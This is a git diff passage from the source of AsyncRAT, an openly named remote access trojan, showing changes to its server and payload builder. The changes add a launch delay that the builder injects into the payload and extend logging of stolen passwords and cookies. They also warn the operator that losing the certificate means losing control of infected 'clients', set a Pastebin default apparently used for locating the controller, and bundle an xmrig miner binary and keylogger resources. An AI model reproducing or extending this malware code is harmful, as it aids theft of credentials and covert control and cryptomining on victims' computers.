btnIcon - // - this.btnIcon.Enabled = false; - this.btnIcon.Location = new System.Drawing.Point(485, 122); - this.btnIcon.Name = "btnIcon"; - this.btnIcon.Size = new System.Drawing.Size(60, 26); - this.btnIcon.TabIndex = 5; - this.btnIcon.Text = " "; - this.btnIcon.UseVisualStyleBackColor = true; - this.btnIcon.Click += new System.EventHandler(this.BtnIcon_Click); - // // FormBuilder // this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); @@ -768,6 +804,7 @@ namespace Server.Forms this.groupBox2.PerformLayout(); this.groupBox3.ResumeLayout(false); this.groupBox3.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.numDelay)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); this.tabControl1.ResumeLayout(false); this.tabPage1.ResumeLayout(false); @@ -848,5 +885,7 @@ namespace Server.Forms private System.Windows.Forms.CheckBox chkObfu; private System.Windows.Forms.Button btnClone; private System.Windows.Forms.Button btnIcon; + private System.Windows.Forms.NumericUpDown numDelay; + private System.Windows.Forms.Label label16; } } diff --git a/AsyncRAT-C#/Server/Forms/FormBuilder.cs b/AsyncRAT-C#/Server/Forms/FormBuilder.cs index 9ce2fa5..fb4d18c 100644 --- a/AsyncRAT-C#/Server/Forms/FormBuilder.cs +++ b/AsyncRAT-C#/Server/Forms/FormBuilder.cs @@ -365,7 +365,7 @@ namespace Server.Forms foreach (TypeDef type in asmDef.Types) { - if (type.Name == "Settings") + if (type.Name == "Settings") foreach (MethodDef method in type.Methods) { if (method.Body == null) continue; @@ -443,6 +443,9 @@ namespace Server.Forms method.Body.Instructions[i].Operand = aes.Encrypt(txtPastebin.Text); else method.Body.Instructions[i].Operand = aes.Encrypt("null"); + + if (method.Body.Instructions[i].Operand.ToString() == "%Delay%") + method.Body.Instructions[i].Operand = numDelay.Value.ToString(); } } } diff --git a/AsyncRAT-C#/Server/Forms/FormCertificate.cs b/AsyncRAT-C#/Server/Forms/FormCertificate.cs index 5944a34..1a5b92c 100644 --- a/AsyncRAT-C#/Server/Forms/FormCertificate.cs +++ b/AsyncRAT-C#/Server/Forms/FormCertificate.cs @@ -56,7 +56,8 @@ namespace Server.Forms } Program.form1.listView1.BeginInvoke((MethodInvoker)(() => { - MessageBox.Show(this, "If you want to use an updated version of AsyncRAT, remember to copy+paste your certificate", "Certificate", MessageBoxButtons.OK, MessageBoxIcon.Information); + MessageBox.Show(this, @"[!]If you wish to upgrade to new version of AsyncRAT, You will need to copy this certificate +[!]If you lose\delete this certificate you will NOT be able to control your clients, You will lose them all.", "Certificate", MessageBoxButtons.OK, MessageBoxIcon.Information); this.Close(); })); } diff --git a/AsyncRAT-C#/Server/Forms/FormProcessManager.cs b/AsyncRAT-C#/Server/Forms/FormProcessManager.cs index 23a2706..6391ed2 100644 --- a/AsyncRAT-C#/Server/Forms/FormProcessManager.cs +++ b/AsyncRAT-C#/Server/Forms/FormProcessManager.cs @@ -67,7 +67,10 @@ namespace Server.Forms { try { - Client?.Disconnected(); + ThreadPool.QueueUserWorkItem((o) => + { + Client?.Disconnected(); + }); } catch { } } diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleRecovery.cs b/AsyncRAT-C#/Server/Handle Packet/HandleRecovery.cs index 9731f5b..586b74b 100644 --- a/AsyncRAT-C#/Server/Handle Packet/HandleRecovery.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandleRecovery.cs @@ -26,7 +26,7 @@ namespace Server.Handle_Packet Directory.CreateDirectory(fullPath); File.WriteAllText(fullPath + "\\Password_" + DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + ".txt", pass.Replace("\n", Environment.NewLine)); File.WriteAllText(fullPath + "\\Cookies_" + DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + ".txt", cookies); - new HandleLogs().Addmsg($"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} recovered passwords successfully", Color.Purple); + new HandleLogs().Addmsg($"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} recovered passwords successfully @ ClientsFolder \\ {unpack_msgpack.ForcePathObject("Hwid").AsString} \\ Recovery", Color.Purple); } else { diff --git a/AsyncRAT-C#/Server/Handle Packet/Packet.cs b/AsyncRAT-C#/Server/Handle Packet/Packet.cs index 99ff585..60b6d2e 100644 --- a/AsyncRAT-C#/Server/Handle Packet/Packet.cs +++ b/AsyncRAT-C#/Server/Handle Packet/Packet.cs @@ -171,7 +171,7 @@ namespace Server.Handle_Packet case "sendPlugin": { - new HandleLogs().Addmsg($"Sending plugins to client {ip} please wait..", Color.Blue); + new HandleLogs().Addmsg($"Sending the plugin to client {ip} for the first time please wait..", Color.Blue); ThreadPool.QueueUserWorkItem(delegate { client.SendPlugin(unpack_msgpack.ForcePathObject("Hashes").AsString); }); @@ -188,7 +188,6 @@ namespace Server.Handle_Packet } catch { - client?.Disconnected(); return; } } diff --git a/AsyncRAT-C#/Server/Properties/AssemblyInfo.cs b/AsyncRAT-C#/Server/Properties/AssemblyInfo.cs index 7c680d5..e969f80 100644 --- a/AsyncRAT-C#/Server/Properties/AssemblyInfo.cs +++ b/AsyncRAT-C#/Server/Properties/AssemblyInfo.cs @@ -5,11 +5,11 @@ using System.Runtime.InteropServices; // General Information about an assembly is controlled through the following // set of attributes. Change these attribute values to modify the information // associated with an assembly. -[assembly: AssemblyTitle("AsyncRAT-Sharp")] -[assembly: AssemblyDescription("")] +[assembly: AssemblyTitle("AsyncRAT")] +[assembly: AssemblyDescription("NYAN CAT")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("AsyncRAT-Sharp")] +[assembly: AssemblyProduct("AsyncRAT")] [assembly: AssemblyCopyright("Copyright © 2019")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] @@ -20,7 +20,7 @@ using System.Runtime.InteropServices; [assembly: ComVisible(false)] // The following GUID is for the ID of the typelib if this project is exposed to COM -[assembly: Guid("7767c300-5fd5-4a5d-9d4c-59559cce48a3")] +//[assembly: Guid("7767c300-5fd5-4a5d-9d4c-59559cce48a3")] // Version information for an assembly consists of the following four values: // @@ -32,5 +32,5 @@ using System.Runtime.InteropServices; // You can specify all the values or you can default the Build and Revision Numbers // by using the '*' as shown below: // [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] +[assembly: AssemblyVersion("0.5.5.0")] +[assembly: AssemblyFileVersion("0.5.5.0")] diff --git a/AsyncRAT-C#/Server/Properties/Resources.Designer.cs b/AsyncRAT-C#/Server/Properties/Resources.Designer.cs index 0e2256c..409e7b1 100644 --- a/AsyncRAT-C#/Server/Properties/Resources.Designer.cs +++ b/AsyncRAT-C#/Server/Properties/Resources.Designer.cs @@ -220,6 +220,26 @@ namespace Server.Properties { } } + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap keyboard { + get { + object obj = ResourceManager.GetObject("keyboard", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap keyboard_on { + get { + object obj = ResourceManager.GetObject("keyboard-on", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + /// /// Looks up a localized resource of type System.Drawing.Bitmap. /// diff --git a/AsyncRAT-C#/Server/Properties/Resources.resx b/AsyncRAT-C#/Server/Properties/Resources.resx index 60573b6..3e3f7b4 100644 --- a/AsyncRAT-C#/Server/Properties/Resources.resx +++ b/AsyncRAT-C#/Server/Properties/Resources.resx @@ -169,6 +169,9 @@ ..\Resources\mouse.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + ..\Resources\7z.exe;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + ..\Resources\tomem1.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a @@ -178,6 +181,9 @@ ..\Resources\uac.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + ..\Resources\process.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Resources\pc.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a @@ -205,8 +211,8 @@ ..\Resources\extra.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - ..\Resources\xmrig.bin;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + ..\Resources\client.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\monitoring-system.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a @@ -214,17 +220,14 @@ ..\Resources\webcam.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - ..\Resources\netstat.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\Resources\tomem.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\ddos.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - ..\Resources\process.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + ..\Resources\netstat.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\save-image2.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a @@ -235,19 +238,22 @@ ..\Resources\disabled.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - ..\Resources\chat.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - - ..\Resources\client.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\Resources\server.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - ..\Resources\7z.exe;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + ..\Resources\chat.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\xmrig.bin;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 ..\Resources\7z.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + ..\Resources\keyboard.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\keyboard-on.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + \ No newline at end of file diff --git a/AsyncRAT-C#/Server/Properties/Settings.Designer.cs b/AsyncRAT-C#/Server/Properties/Settings.Designer.cs index 485c727..8381755 100644 --- a/AsyncRAT-C#/Server/Properties/Settings.Designer.cs +++ b/AsyncRAT-C#/Server/Properties/Settings.Designer.cs @@ -12,7 +12,7 @@ namespace Server.Properties { [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] - [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "16.2.0.0")] + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "16.3.0.0")] internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); @@ -73,7 +73,7 @@ namespace Server.Properties { [global::System.Configuration.UserScopedSettingAttribute()] [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] - [global::System.Configuration.DefaultSettingValueAttribute("")] + [global::System.Configuration.DefaultSettingValueAttribute("https://pastebin.com/raw/s14cUU5G")] public string Pastebin { get { return ((string)(this["Pastebin"])); diff --git a/AsyncRAT-C#/Server/Properties/Settings.settings b/AsyncRAT-C#/Server/Properties/Settings.settings index 8b20ed9..045c583 100644 --- a/AsyncRAT-C#/Server/Properties/Settings.settings +++ b/AsyncRAT-C#/Server/Properties/Settings.settings @@ -15,7 +15,7 @@ - + https://pastebin.com/raw/s14cUU5G diff --git a/AsyncRAT-C#/Server/Resources/xmrig.bin b/AsyncRAT-C#/Server/Resources/xmrig.bin index 454994f..4a06ddd 100644 Binary files a/AsyncRAT-C#/Server/Resources/xmrig.bin and b/AsyncRAT-C#/Server/Resources/xmrig.bin differ diff --git a/AsyncRAT-C#/Server/Settings.cs b/AsyncRAT-C#/Server/Settings.cs index ac0838a..a75cdaa 100644 --- a/AsyncRAT-C#/Server/Settings.cs +++ b/AsyncRAT-C#/Server/Settings.cs @@ -12,12 +12,14 @@ namespace Server public static List Blocked = new List(); public static object LockBlocked = new object(); - public static long Sent { get; set; } - public static long Received { get; set; } + public static long SentValue { get; set; } + public static long ReceivedValue { get; set; } + public static object LockReceivedSendValue = new object(); + public static string CertificatePath = Application.StartupPath + "\\ServerCertificate.p12"; public static X509Certificate2 ServerCertificate; - public static readonly string Version = "AsyncRAT 0.5.4H"; + public static readonly string Version = "AsyncRAT 0.5.5A"; public static object LockListviewClients = new object(); public static object LockListviewLogs = new object(); public static object LockListviewThumb = new object();